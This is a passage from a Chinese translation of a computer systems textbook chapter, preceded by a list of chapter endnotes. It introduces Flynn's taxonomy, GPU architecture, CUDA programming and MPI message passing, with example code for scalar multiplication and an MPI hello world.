1. *[`www.raspberrypi.org/`](https://www.raspberrypi.org/)*
2. 可在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/hellothreads.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/hellothreads.c)* 上获得。
3. 可在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/countSort.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countSort.c)* 上获得。
4. 可在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p.c)* 上获得。
5. 完整源代码可从 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p_v2.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p_v2.c)* 下载。
6. 此最终程序的完整源代码可以在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p_v3.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countElems_p_v3.c)* 获取。
7. 可在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/layeggs.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/layeggs.c)* 获取。
8. Gene Amdahl. “单处理器方法在实现大规模计算能力中的有效性,” *《1967 年 4 月 18-20 日春季联合计算机会议论文集》*,第 483–485 页,ACM,1967 年。
9. John Gustafson, “重新评估阿姆达尔定律,” *《ACM 通讯》* 31(5),第 532–533 页,1988 年。
10. Caroline Connor, “HPC 领域的推动者与变革者:John Gustafson,” *HPC Wire*,*[`www.hpcwire.com/hpcwire/2010-10-20/movers_and_shakers_in_hpc_john_gustafson.html`](http://www.hpcwire.com/hpcwire/2010-10-20/movers_and_shakers_in_hpc_john_gustafson.html)*。
11. *[`pubs.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_09.html`](http://pubs.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_09.html)*
12. [`diveintosystems.org/book/C14-SharedMemory/_attachments/countElemsStr.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countElemsStr.c)
13. 可在 *[`diveintosystems.org/book/C14-SharedMemory/_attachmentscountElemsStr_p.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachmentscountElemsStr_p.c)* 获取。
14. 完整源代码可以在 [`diveintosystems.org/book/C14-SharedMemory/_attachments/countElemsStr_p_v2.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countElemsStr_p_v2.c) 获取。
15. 程序的完整版本可以在 *[`diveintosystems.org/book/C14-SharedMemory/_attachments/countSort_mp.c`](https://diveintosystems.org/book/C14-SharedMemory/_attachments/countSort_mp.c)* 获取。
16. Blaise Barney, “OpenMP,” [`hpc.llnl.gov/tuts/openMP/`](https://hpc.llnl.gov/tuts/openMP/)
17. Richard Brown 和 Libby Shoop, “使用 OpenMP 进行多核编程,” *《CSinParallel: 计算机科学课程中的并行计算》*,[`selkie.macalester.edu/csinparallel/modules/MulticoreProgramming/build/html/index.html`](http://selkie.macalester.edu/csinparallel/modules/MulticoreProgramming/build/html/index.html)
18. *[`hpc-tutorials.llnl.gov/posix/`](https://hpc-tutorials.llnl.gov/posix/)*
19. *[`hpc.llnl.gov/tuts/openMP/`](https://hpc.llnl.gov/tuts/openMP/)*
20. *[`valgrind.org/docs/manual/hg-manual.html`](https://valgrind.org/docs/manual/hg-manual.html)*
21. *[`valgrind.org/docs/manual/drd-manual.html`](https://valgrind.org/docs/manual/drd-manual.html)*
# 第十六章:**展望未来:其他并行系统和并行编程模型**

在上一章中,我们讨论了共享内存并行性和多线程编程。在本章中,我们介绍了适用于不同架构类别的其他并行编程模型和语言。具体而言,我们介绍了面向硬件加速器的并行性,重点讨论图形处理单元(GPU)和基于 GPU 的通用计算(GPGPU 计算),以 CUDA 为例;分布式内存系统和消息传递,以 MPI 为例;以及云计算,举例说明 MapReduce 和 Apache Spark。
#### 全新世界:弗林架构分类法
*弗林分类法*通常用于描述现代计算架构的生态系统(图 15-1)。

*图 15-1:弗林分类法对处理器如何应用指令进行了分类。*
水平轴表示数据流,而垂直轴表示指令流。在这个上下文中,*流*指的是数据或指令的流动。*单流*每个时间单位发出一个元素,类似于队列。相反,*多流*通常每个时间单位发出多个元素(可以想象成多个队列)。因此,单一指令流(SI)每个时间单位发出一个指令,而多重指令流(MI)每个时间单位发出多个指令。同样,单一数据流(SD)每个时间单位发出一个数据元素,而多重数据流(MD)每个时间单位发出多个数据元素。
处理器可以根据它使用的流的类型被分类为四种类型之一。
**SISD** 单指令/单数据系统具有一个控制单元,处理一个指令流,只能一次执行一个指令。同样,处理器只能处理一个数据流或每次处理一个数据单元。2000 年代中期之前,大多数商业化的处理器都是 SISD 机器。
**MISD** 多指令/单数据系统具有多个指令单元,在一个数据流上执行。MISD 系统通常是为在关键任务系统中集成容错功能而设计的,例如 NASA 航天飞机的飞行控制程序。尽管如此,MISD 机器如今在实践中已经很少使用。
**SIMD** 单指令/多数据系统同时并行地对多个数据执行*相同*的指令,并且以同步方式执行。在“同步”执行过程中,所有指令都会被放入队列中,而数据则在不同的计算单元之间分配。在执行过程中,每个计算单元首先同时执行队列中的第一条指令,然后同时执行队列中的下一条指令,再接着是下一条,以此类推。SIMD 架构最著名的例子是图形处理单元(GPU)。早期的超级计算机也采用了 SIMD 架构。我们将在下一节中进一步讨论 GPU。
**MIMD** 多指令/多数据系统代表了最广泛使用的架构类别。它们非常灵活,能够同时处理多条指令或多个数据流。由于几乎所有现代计算机都使用多核 CPU,因此大多数计算机都被归类为 MIMD 机器。在“分布式内存系统、消息传递和 MPI”一节中,我们将讨论另一类 MIMD 系统——分布式内存系统,具体内容见第 746 页。
### 15.1 异构计算:硬件加速器、GPGPU 计算和 CUDA
*异构计算* 是使用计算机中的多个不同处理单元进行计算。这些处理单元通常有不同的指令集架构(ISA),有些由操作系统管理,而有些则不由操作系统管理。通常,异构计算意味着支持使用计算机的 CPU 核心和一个或多个加速单元(如*图形处理单元*(GPU)或*现场可编程门阵列*(FPGA))进行并行计算。1
开发者越来越多地实现异构计算解决方案,以应对大型数据密集型和计算密集型问题。这类问题在科学计算中非常普遍,同时也广泛应用于大数据处理、分析和信息提取等领域。通过利用计算机上 CPU 和加速单元的处理能力,程序员可以提高应用程序的并行执行程度,从而提高性能和可扩展性。
在本节中,我们介绍了使用硬件加速器的异构计算,以支持通用并行计算。我们将重点讨论 GPU 和 CUDA 编程语言。
#### 15.1.1 硬件加速器
除了 CPU,计算机还配备了其他处理单元,旨在执行特定任务。这些单元并不是像 CPU 那样的通用处理单元,而是为实现特定设备功能或执行系统中的特定类型处理而优化的专用硬件。FPGA、Cell 处理器和 GPU 就是这类处理单元的三个例子。
##### FPGA
FPGA 是一种集成电路,由门、电池和互联组件组成。它们是可重新编程的,意味着可以重新配置以实现硬件中的特定功能,通常用于原型设计应用特定集成电路(ASIC)。与完整的 CPU 相比,FPGA 通常消耗更少的功耗,从而实现更高效的能源使用。FPGA 集成到计算机系统中的一些常见方式包括作为设备控制器、传感器数据处理、加密和测试新硬件设计(由于其可重新编程的特性,可以在 FPGA 上实现、调试和测试设计)。FPGA 可以设计为包含大量简单处理单元的电路。FPGA 也是低延迟设备,可以直接连接到系统总线。因此,它们被用于实现非常快速的并行计算,执行由若干数据输入通道上的独立并行处理所构成的规则模式。然而,重新编程 FPGA 需要较长时间,它们的使用被局限于支持并行工作负载的特定部分的快速执行或运行固定程序工作负载。^(2)
##### GPU 与 Cell 处理器
Cell 处理器是一种多核处理器,包含一个通用处理器和多个专门加速特定类型计算(如多媒体处理)的协处理器。索尼 PlayStation 3 游戏系统是第一个采用 Cell 架构的设备,使用 Cell 协处理器来加速图形处理。
GPU 执行计算机图形计算——它们操作图像数据以实现高速图形渲染和图像处理。GPU 将结果写入帧缓冲区,将数据传输到计算机显示器。受计算机游戏应用的推动,如今先进的 GPU 已成为台式机和笔记本系统的标准配置。
在 2000 年代中期,平行计算研究人员认识到,将加速器与计算机的 CPU 核心结合使用以支持通用并行计算的潜力。
#### 15.1.2 GPU 架构概述
GPU 硬件是为计算机图形和图像处理设计的。GPU 的发展历程主要受到视频游戏行业的推动。为了支持更细致的图形和更快的帧渲染,GPU 设备由成千上万的专用处理器组成,专门设计用来高效地并行处理图像数据,比如二维图像中的单个像素值。
GPU 实现的硬件执行模型是*单指令*/*多线程*(SIMT),是 SIMD 的变种。SIMT 类似于多线程的 SIMD,其中单个指令由在处理单元上运行的多个线程同步执行。在 SIMT 中,线程的总数可以大于处理单元的总数,因此需要在处理器上调度多个线程组,以执行相同的指令序列。
以 NVIDIA 的 GPU 为例,它们由多个流式多处理器(SM)组成,每个 SM 都有自己的执行控制单元和内存空间(寄存器、L1 缓存和共享内存)。每个 SM 由多个标量处理器(SP)核心组成。SM 包括一个 warp 调度器,调度*warp*,即一组应用程序线程,在其 SP 核心上同步执行。在同步执行中,warp 中的每个线程每个周期执行相同的指令,但操作不同的数据。例如,如果一个应用程序正在将彩色图像转换为灰度图像,那么 warp 中的每个线程将同时执行相同的指令序列,将像素的 RGB 值设置为其灰度值。warp 中的每个线程在不同的像素数据值上执行这些指令,从而使图像的多个像素并行更新。由于线程是同步执行的,处理器设计可以简化,使得多个核心共享相同的指令控制单元。每个单元包含缓存内存和多个寄存器,用于在并行处理核心的同步操作中存储数据。
图 15-2 展示了一个简化的 GPU 架构,包含其某个 SM 单元的详细视图。每个 SM 由多个 SP 核心、一个 warp 调度器、一个执行控制单元、一个 L1 缓存和共享内存空间组成。

*图 15-2:一个简化的 GPU 架构示例,包含 2,048 个核心。该图展示了 GPU 被划分为 64 个 SM 单元,以及其中一个 SM 的详细信息,包含 32 个 SP 核心。SM 的 warp 调度器在其 SP 核心上调度线程 warp。线程 warp 在 SP 核心上同步执行。*
#### 15.1.3 GPGPU 计算
*通用 GPU*(GPGPU)计算将专用 GPU 处理器应用于通用并行计算任务。GPGPU 计算结合了主机 CPU 核心上的计算和 GPU 处理器上的 SIMT 计算。GPGPU 计算在能够作为网格多维数据流处理计算构建的并行应用程序(或应用程序的一部分)上表现最佳。
主机操作系统不管理 GPU 的处理器或内存。因此,程序数据需要在 GPU 上分配空间,并由程序员在主机内存和 GPU 内存之间复制数据。GPGPU 编程语言和库通常提供 GPU 内存的编程接口,隐藏了程序员在显式管理 GPU 内存时的一些或全部困难。例如,在 CUDA 中,程序员可以调用 CUDA 库函数,显式地在 GPU 上分配 CUDA 内存,并在 GPU 上的 CUDA 内存和主机内存之间复制数据。CUDA 程序员还可以使用 CUDA 统一内存,这是 CUDA 对主机和 GPU 内存之上的单一内存空间的抽象。CUDA 统一内存隐藏了独立的 GPU 和主机内存,以及它们之间的内存复制,免去了 CUDA 程序员的处理。
GPU 还提供了有限的线程同步支持,这意味着 GPGPU 并行计算对于那些典型的并行应用表现尤为出色,尤其是那些轻松并行或具有大范围独立并行流计算且几乎没有同步点的应用。GPU 是大规模并行处理器,任何在数据上执行长时间序列独立相同(或大部分相同)计算步骤的程序,都可能作为 GPGPU 并行应用表现良好。GPGPU 计算在主机与设备内存之间进行较少内存复制时也表现良好。如果 GPU-CPU 数据传输占据了执行时间,或应用程序需要精细的同步,GPGPU 计算可能无法提供良好的性能,甚至无法超越多线程的 CPU 版本。
#### 15.1.4 CUDA
CUDA(计算统一设备架构)^(3)是 NVIDIA 为其图形设备上的 GPGPU 计算提供的编程接口。CUDA 旨在支持异构计算,其中一些程序功能在主机 CPU 上运行,其他则在 GPU 设备上运行。程序员通常用 C 或 C++编写 CUDA 程序,并添加注释来指定 CUDA 内核函数,然后调用 CUDA 库函数来管理 GPU 设备内存。CUDA *内核函数*是执行在 GPU 上的函数,CUDA *线程*是 CUDA 程序中基本的执行单元。CUDA 线程在 GPU 的 SM 单元中以 warp 的形式调度执行,并在其数据部分(存储在 GPU 内存中)上执行 CUDA 内核代码。内核函数使用`__global__`进行注释,以将其与主机函数区分开。CUDA 的`__device__`函数是可以从 CUDA 内核函数中调用的辅助函数。
CUDA 程序的内存空间分为主机内存和 GPU 内存。程序必须显式地分配和释放 GPU 内存空间,以存储 CUDA 内核操作的数据。CUDA 程序员必须显式地将数据从主机和 GPU 内存之间复制,或者使用 CUDA 统一内存,该内存呈现一个直接由 GPU 和主机共享的内存空间视图。以下是 CUDA 基本内存分配、内存释放和显式内存复制函数的示例:
/* "returns" through pass-by-pointer param dev_ptr GPU memory of size bytes
* returns cudaSuccess or a cudaError value on error
*/
cudaMalloc(void **dev_ptr, size_t size);
/* free GPU memory
* returns cudaSuccess or cudaErrorInvalidValue on error
*/
cudaFree(void *data);
/* copies data from src to dst, direction is based on value of kind
* kind: cudaMemcpyHosttoDevice is copy from cpu to gpu memory
* kind: cudaMemcpyDevicetoHost is copy from gpu to cpu memory
* returns cudaSuccess or a cudaError value on error
*/
cudaMemcpy(void *dst, const void *src, size_t count, cudaMemcpyKind kind);
CUDA 线程被组织成*块*,而块又被组织成*网格*。网格可以组织成一维、二维或三维的块分组。同样,块可以组织成一维、二维或三维的线程分组。每个线程通过其在包含块中的(*x*,*y*,*z*)位置以及其在网格中的(*x*,*y*,*z*)位置被唯一标识。例如,程序员可以将二维块和网格维度定义如下:
dim3 blockDim(16,16); // 256 threads per block, in a 16x16 2D arrangement
dim3 gridDim(20,20); // 400 blocks per grid, in a 20x20 2D arrangement
当调用一个内核时,它的块/网格和线程/块布局在调用中被指定。例如,这里是调用一个名为`do_something`的内核函数,使用上述定义的`gridDim`和`blockDim`来指定网格和块的布局(并传递参数`dev_array`和 100):
ret = do_something<<<gridDim,blockDim>>>(dev_array, 100);
图 15-3 展示了一个线程块二维排列的示例。在此示例中,网格是一个 3 × 2 的块数组,每个块是一个 4 × 3 的线程数组。

*图 15-3:CUDA 线程模型。一个由线程块组成的网格。块和线程可以组织成一维、二维或三维布局。此示例显示了一个二维块的网格,每个网格有 3 × 2 个块,每个块有 4 × 3 个线程。*
线程在此布局中的位置由其所在块的(*x*,*y*)坐标(`threadId.x`,`threadId.y`)和其在网格中的块的(*x*,*y*)坐标(`blockIdx.x`,`blockIdx.y`)给出。请注意,块和线程的坐标是基于(*x*,*y*)的,其中*x*轴是水平的,*y*轴是垂直的。元素(0,0)位于左上角。CUDA 内核还有一些变量,用于定义块的维度(`blockDim.x`和`blockDim.y`)。因此,对于执行内核的任何线程,其在二维线程数组中的(行,列)位置可以逻辑上表示为如下:
int row = blockIdx.y * blockDim.y + threadIdx.y;
int col = blockIdx.x * blockDim.x + threadIdx.x;
尽管并非严格必要,CUDA 程序员通常会将块和线程组织成与程序数据的逻辑结构相匹配。例如,如果程序正在处理二维矩阵,通常会将线程和块组织成二维的排列方式。这样,线程的块(*x*,*y*)及其块内的线程(*x*,*y*)可以用来将线程在二维线程块中的位置与二维数组中的一个或多个数据值关联起来。
##### 示例 CUDA 程序:标量乘法
作为示例,考虑一个执行向量标量乘法的 CUDA 程序:
x = a * x // where x is a vector and a is a scalar value
由于程序数据包含一维数组,使用一维的块/网格布局和线程/块的方式效果良好。这不是必须的,但它使线程与数据的映射更加容易。
程序运行时,主函数将执行以下操作:
1\. 为向量`x`分配主机端内存并初始化。
2\. 为向量`x`分配设备端内存,并将其从主机内存复制到 GPU 内存。
3\. 调用一个 CUDA 内核函数,执行向量标量乘法并行计算,传入向量`x`的设备地址和标量值`a`作为参数。
4\. 将结果从 GPU 内存复制到主机内存中的向量`x`。
在下面的示例中,我们展示了一个执行这些步骤以实现标量向量乘法的 CUDA 程序。我们已从代码清单中删除了一些错误处理和细节,但完整的解决方案可以在网上找到。^(4)
CUDA 程序的主函数执行上述步骤:
include <cuda.h>
define BLOCK_SIZE 64 /* threads per block */
define N 10240 /* vector size */
// some host-side init function
void init_array(int *vector, int size, int step);
// host-side function: main
int main(int argc, char **argv) {
int *vector, *dev_vector, scalar;
scalar = 3; // init scalar to some default value
if(argc == 2) { // get scalar's value from a command line argument
scalar = atoi(argv[1]);
}
// 1. allocate host memory space for the vector (missing error handling)
vector = (int )malloc(sizeof(int)N);
// initialize vector in host memory
// (a user-defined initialization function not listed here)
init_array(vector, N, 7);
// 2. allocate GPU device memory for vector (missing error handling)
cudaMalloc(&dev_vector, sizeof(int)*N);
// 2. copy host vector to device memory (missing error handling)
cudaMemcpy(dev_vector, vector, sizeof(int)*N, cudaMemcpyHostToDevice;)
// 3. call the CUDA scalar_multiply kernel
// specify the 1D layout for blocks/grid (N/BLOCK_SIZE)
// and the 1D layout for threads/block (BLOCK_SIZE)
scalar_multiply<<<(N/BLOCK_SIZE), BLOCK_SIZE===(dev_vector, scalar);
// 4. copy device vector to host memory (missing error handling)
cudaMemcpy(vector, dev_vector, sizeof(int)*N, cudaMemcpyDeviceToHost);
// ...(do something on the host with the result copied into vector)
// free allocated memory space on host and GPU
cudaFree(dev_vector);
free(vector);
return 0;
}
每个 CUDA 线程执行 CUDA 内核函数`scalar_multiply`。CUDA 内核函数是从单个线程的角度编写的。它通常包括两个主要步骤:(1)调用线程根据其在线程块中的位置和块在网格中的位置,确定它负责处理的数据部分;(2)调用线程对其负责的数据部分执行应用程序特定的计算。在这个示例中,每个线程负责计算数组中的一个元素的标量乘法。内核函数的代码首先根据调用线程的块和线程标识符计算出一个唯一的索引值。然后,它使用该值作为数组数据的索引,执行标量乘法操作(`array[index] =` `array[index] * scalar`)。运行在 GPU 的 SM 单元上的 CUDA 线程每个计算一个不同的索引值,以并行更新数组元素。
/*
* CUDA kernel function that performs scalar multiply
* of a vector on the GPU device
*
* This assumes that there are enough threads to associate
* each array[i] element with a signal thread
* (in general, each thread would be responsible for a set of data elements)
*/
global void scalar_multiply(int *array, int scalar) {
int index;
// compute the calling thread's index value based on
// its position in the enclosing block and grid
index = blockIdx.x * blockDim.x + threadIdx.x;
// the thread's uses its index value is to
// perform scalar multiply on its array element
array[index] = array[index] * scalar;
}
##### CUDA 线程调度与同步
每个 CUDA 线程块由 GPU SM 单元运行。一个 SM 调度来自同一个线程块的线程波在其处理器核心上运行。一个波中的所有线程在锁步执行相同的指令,通常处理不同的数据。线程共享指令管道,但为本地变量和参数提供各自的寄存器和堆栈空间。
由于线程块在单独的 SM 上调度,增加每个线程块的线程数会提高并行执行的程度。因为 SM 在其处理单元上调度线程波(warp)执行,如果每个线程块的线程数是波大小的倍数,那么在计算中就不会浪费 SM 处理器核心。实际上,使用每个线程块的线程数为 SM 处理核心数的小倍数通常效果良好。
CUDA 保证所有来自单个内核调用的线程在任何后续内核调用的线程调度之前完成。因此,在不同的内核调用之间存在一个隐式的同步点。然而,在单个内核调用内,线程块会以任意顺序在 GPU SM 上调度运行内核代码。因此,程序员不应假设不同线程块之间的线程执行顺序。CUDA 为同步线程提供了一些支持,但仅限于同一个线程块中的线程。
#### 15.1.5 用于 GPGPU 编程的其他语言
还有其他用于 GPGPU 计算的编程语言。OpenCL、OpenACC 和 OpenHMPP 是三个可以用来编程任何图形设备的语言示例(它们不是专门为 NVIDIA 设备设计的)。OpenCL(开放计算语言)的编程模型与 CUDA 相似;两者都在目标架构上实现了低级编程模型(或者实现了更薄的编程抽象)。OpenCL 旨在支持广泛的异构计算平台,包括主机 CPU 结合其他计算单元(可能包括 CPU 或加速器,如 GPU 和 FPGA)。OpenACC(开放加速器)是比 CUDA 或 OpenCL 更高层次的抽象编程模型,旨在提高可移植性和程序员的易用性。程序员为代码中的并行执行部分添加注解,编译器会生成可以在 GPU 上运行的并行代码。OpenHMPP(开放混合多核编程)是另一种提供更高级编程抽象的语言,适用于异构编程。
### 15.2 分布式内存系统、消息传递与 MPI
第十四章描述了像 Pthreads(见“你好线程!编写你的第一个多线程程序”第 677 页)和 OpenMP(见“使用 OpenMP 的隐式线程”第 729 页)等机制,程序使用这些机制来利用*共享内存系统*中的多个 CPU 核心。在这种系统中,每个核心共享相同的物理内存硬件,允许它们通过读取和写入共享内存地址来交换数据和同步行为。尽管共享内存系统使得通信相对容易,但其可扩展性受到系统中 CPU 核心数量的限制。
截至 2019 年,高端商业服务器 CPU 通常提供最多 64 个核心。然而,对于某些任务,即使有几百个 CPU 核心也远远不够。例如,想象一下尝试模拟地球海洋的流体动力学,或索引整个万维网的内容以构建搜索应用程序。这些庞大的任务需要比任何单一计算机能提供的更多的物理内存和处理器。因此,要求大量 CPU 核心的应用程序运行在摒弃共享内存的系统上。相反,它们在由多台计算机构成的系统上运行,每台计算机都有自己的 CPU 和内存,通过网络通信来协调它们的行为。
一组计算机共同工作被称为*分布式内存系统*(或通常称为*分布式系统*)。
**警告 关于时间顺序的说明**
尽管本书中按顺序介绍了它们,但系统设计师在线程或 OpenMP 等机制出现之前就已经构建了分布式系统。
一些分布式内存系统比其他系统更紧密地集成硬件。例如,*超级计算机*是一种高性能系统,其中许多*计算节点*被紧密耦合(紧密集成)到一个快速互连网络中。每个计算节点包含自己的 CPU、GPU 和内存,但多个节点可能共享辅助资源,如二级存储和电源供应。硬件共享的具体程度在不同的超级计算机之间有所不同。
另一方面,分布式应用程序可能运行在一组松散耦合(集成度较低)的完全自主计算机(*节点*)上,这些计算机通过像以太网这样的传统局域网(LAN)技术连接。这样的节点集合被称为*商用现成*(COTS)集群。COTS 集群通常采用*无共享架构*,其中每个节点包含自己的计算硬件(即 CPU、GPU、内存和存储)。图 15-4 展示了一个由两个共享内存计算机组成的无共享分布式系统。

*图 15-4:由两个计算节点构建的无共享分布式内存架构的主要组件*
#### 15.2.1 并行与分布式处理模型
应用程序设计师通常使用经过验证的设计来组织分布式应用程序。采用这样的应用模型有助于开发人员推理应用程序,因为其行为将符合公认的规范。每种模型都有其独特的优缺点——没有一种通用的解决方案。我们将在以下小节中简要介绍一些常见的模型,但请注意,这并不是一个详尽的列表。
##### 客户端/服务器
*客户端/服务器模型*是一个非常常见的应用模型,它将应用程序的职责分配给两个角色:客户端进程和服务器进程。服务器进程向请求某些操作的客户端提供服务。服务器进程通常在已知的地址等待,接收来自客户端的连接请求。一旦建立连接,客户端向服务器进程发送请求,服务器进程要么满足请求(例如,通过提取请求的文件),要么报告错误(例如,文件不存在或客户端无法正确认证)。
虽然你可能没有意识到,访问网页实际上就是通过客户端/服务器模型进行的!你的网页浏览器(客户端)连接到网站(服务器),该网站位于一个公共地址(例如,[diveintosystems.org](http://diveintosystems.org)),以检索网页内容。
##### 管道
*管道模型*将应用程序划分为一系列独立的步骤,每个步骤都可以独立地处理数据。这个模型适用于工作流涉及大数据输入的线性、重复任务的应用程序。例如,考虑计算机动画电影的制作。电影的每一帧都必须通过一系列步骤进行处理,这些步骤会改变帧的内容(例如,添加纹理或应用光照)。由于每个步骤在序列中是独立进行的,动画师可以通过在大规模计算机集群中并行处理帧来加速渲染过程。
##### 主管/工人
在*主管/工人模型*中,一个进程充当中央协调器,并将工作分配给其他节点上的进程。这个模型适用于需要处理大型可分输入的问题。主管将输入分成较小的块,并将一个或多个块分配给每个工人。在某些应用中,主管可能静态地将每个工人分配一个输入块。在其他情况下,工人可能会反复完成一个输入块,然后返回主管处动态获取下一个输入块。稍后在本节中,我们将展示一个示例程序,其中主管将一个数组分配给多个工人,以执行数组的标量乘法。
请注意,这个模型有时也被称为其他名称,如“主/工人”或其他变体,但其核心思想是相同的。
##### 对等网络
与老板/工人模型不同,*对等应用程序*避免依赖集中控制进程。相反,对等进程自我组织应用程序,将其构造成一个结构,在这个结构中,它们各自承担大致相同的职责。例如,在 BitTorrent 文件共享协议中,每个对等体不断与其他对等体交换文件的部分,直到它们都接收到完整的文件。
由于缺乏集中组件,对等应用程序通常对节点故障具有较强的鲁棒性。另一方面,对等应用程序通常需要复杂的协调算法,这使得它们难以构建和严格测试。
#### 15.2.2 通信协议
无论它们是超计算机的一部分还是 COTS 集群,分布式内存系统中的进程通过*消息传递*进行通信,其中一个进程显式地将消息发送给一个或多个其他节点上的进程,而这些进程接收它。系统上运行的应用程序决定如何利用网络——一些应用程序需要频繁通信,以紧密协调跨多个节点的进程行为,而其他应用程序则通过通信将大型输入分配给进程,然后大多独立工作。
一个分布式应用程序通过定义通信*协议*来形式化其通信期望,协议描述了一组规则,规范了它如何使用网络,包括:
+ 进程何时应该发送消息
+ 应该将消息发送给哪个进程
+ 如何格式化消息
如果没有协议,应用程序可能无法正确解释消息,甚至可能发生死锁(请参见第 700 页的“死锁”)。例如,如果一个应用程序由两个进程组成,每个进程都等待对方发送消息,那么这两个进程都永远不会取得进展。协议为通信添加了结构,从而减少了这种故障的可能性。
要实现通信协议,应用程序需要执行一些基本功能,如发送和接收消息、命名进程(寻址)和同步进程执行。许多应用程序依赖消息传递接口来实现这些功能。
#### 15.2.3 消息传递接口
*消息传递接口*(MPI)定义了一个标准化的接口(但并不自己实现),应用程序可以通过它在分布式内存系统中进行通信。通过采用 MPI 通信标准,应用程序变得*可移植*,意味着它们可以在许多不同的系统上编译和执行。换句话说,只要安装了 MPI 实现,一个可移植的应用程序就可以从一个系统移动到另一个系统,并期望能够正确执行,即使这些系统具有不同的底层特性。
MPI 允许程序员将应用程序划分为多个进程。它为每个应用程序的进程分配一个唯一标识符,称为 *rank*,该标识符的范围从 0 到 *N –* 1,适用于包含 *N* 个进程的应用程序。一个进程可以通过调用 `MPI_Comm_rank` 函数来获取它的 rank,并且可以通过调用 `MPI_Comm_size` 来得知应用程序中有多少个进程在执行。要发送消息,进程调用 `MPI_Send` 并指定目标接收者的 rank。类似地,进程通过调用 `MPI_Recv` 来接收消息,并指定是等待来自特定节点的消息,还是接收来自任意发送者的消息(使用常量 `MPI_ANY_SOURCE` 作为 rank)。
除了基本的发送和接收函数外,MPI 还定义了多种函数,使一个进程可以更方便地将数据传送给多个接收者。例如,`MPI_Bcast` 允许一个进程通过一次函数调用将消息发送给应用程序中的每个进程。它还定义了一对函数,`MPI_Scatter` 和 `MPI_Gather`,使得一个进程能够将一个数组拆分并将其片段分发到各个进程(scatter),对数据进行操作,然后再通过 `MPI_Gather` 函数收集所有数据,以合并结果(gather)。
因为 MPI *规定* 只提供了一组函数及其行为方式,所以每个系统设计者可以根据其系统的特性来实现 MPI 的功能。例如,具有支持广播的互连网络的系统(即同时将一条消息发送给多个接收者)可能比没有此类支持的系统更高效地实现 MPI 的 `MPI_Bcast` 函数。
#### 15.2.4 MPI Hello World
作为 MPI 编程的入门,考虑这里提供的“Hello World”程序^(5):
include <stdio.h>
include <unistd.h>
include "mpi.h"
int main(int argc, char **argv) {
int rank, process_count;
char hostname[1024];
/* Initialize MPI. */
MPI_Init(&argc, &argv);
/* Determine how many processes there are and which one this is. */
MPI_Comm_size(MPI_COMM_WORLD, &process_count);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
/* Determine the name of the machine this process is running on. */
gethostname(hostname, 1024);
/* Print a message, identifying the process and machine it comes from. */
printf("Hello from %s process %d of %d\n", hostname, rank, process_count);
/* Clean up. */
MPI_Finalize();
return 0;
}
启动此程序时,MPI 会同时在一台或多台计算机上执行多个独立的进程副本。每个进程都会调用 MPI 来确定正在执行的总进程数(通过 `MPI_Comm_size`)以及它在这些进程中的 rank(通过 `MPI_Comm_rank`)。获取这些信息后,每个进程都会打印一条简短的消息,包含它的 rank 和运行所在计算机的名称(`hostname`),然后终止。
**注意 运行 MPI 代码**
要运行这些 MPI 示例,您需要在系统上安装支持 MPI 的实现,例如 OpenMPI^(6) 或 MPICH^(7)。
要编译这个示例,请调用 `mpicc` 编译器程序,该程序执行一个支持 MPI 的 GCC 版本,用于构建程序并将其与 MPI 库链接:
$ mpicc -o hello_world_mpi hello_world_mpi.c
要执行该程序,使用`mpirun`工具启动多个并行进程。`mpirun`命令需要指定在哪些计算机上运行进程(`--hostfile`)以及每台机器上运行多少个进程(`-np`)。在这里,我们提供了一个名为`hosts.txt`的文件,告诉`mpirun`在两台计算机上创建四个进程,一台名为`lemon`,另一台名为`orange`:
$ mpirun -np 8 --hostfile hosts.txt ./hello_world_mpi
Hello from lemon process 4 of 8
Hello from lemon process 5 of 8
Hello from orange process 2 of 8
Hello from lemon process 6 of 8
Hello from orange process 0 of 8
Hello from lemon process 7 of 8
Hello from orange process 3 of 8
Hello from orange process 1 of 8
**警告:MPI 执行顺序**
你*永远不要*假设 MPI 进程的执行顺序。进程在多个机器上启动,每台机器都有自己的操作系统和进程调度器。如果程序的正确性要求进程按照特定顺序执行,你必须确保发生正确的顺序——例如,通过强制某些进程暂停,直到接收到消息。
#### 15.2.5 MPI 标量乘法
对于一个更具实质性的 MPI 示例,考虑对数组进行标量乘法。这个示例采用了主管/工人模型——一个进程将数组分成更小的块并将它们分发给工人进程。请注意,在这个标量乘法的实现中,主管进程也充当了一个工人的角色,在将数组片段分配给其他工人后,它还会乘以数组的一部分。
为了利用并行工作的优势,每个进程仅将其本地数组部分的值乘以标量值,然后所有工人将结果发送回主管进程,以形成最终结果。在程序的多个位置,代码会检查进程的 rank 是否为 0。
if (rank == 0) {
/* This code only executes at the boss. */
}
这个检查确保只有一个进程(即 rank 为 0 的进程)充当主管角色。根据惯例,MPI 应用通常选择 rank 为 0 的进程来执行一次性任务,因为无论进程数多少,总会有一个进程被分配 rank 为 0(即使只有一个进程在执行)。
##### MPI 通信
主管进程首先确定标量值和初始输入数组。在实际的科学计算应用中,主管可能会从输入文件中读取这些值。为了简化这个示例,主管使用一个常数标量值(10),并生成一个简单的 40 元素数组(包含 0 到 39 的序列)以供说明。
该程序需要在 MPI 进程之间进行通信,以完成三个重要任务:
1\. 主管将标量值和数组大小发送给*所有*工人。
2\. 主管将初始数组分成若干块,并将每一块分配给一个工人。
3\. 每个工人将自己负责的数组部分的值乘以标量,然后将更新后的值发送回主管。
##### 广播重要值
为了将标量值发送给工人,示例程序使用`MPI_Bcast`函数,该函数允许一个 MPI 进程通过一次函数调用将相同的值发送给所有其他 MPI 进程:
/* Boss sends the scalar value to every process with a broadcast. */
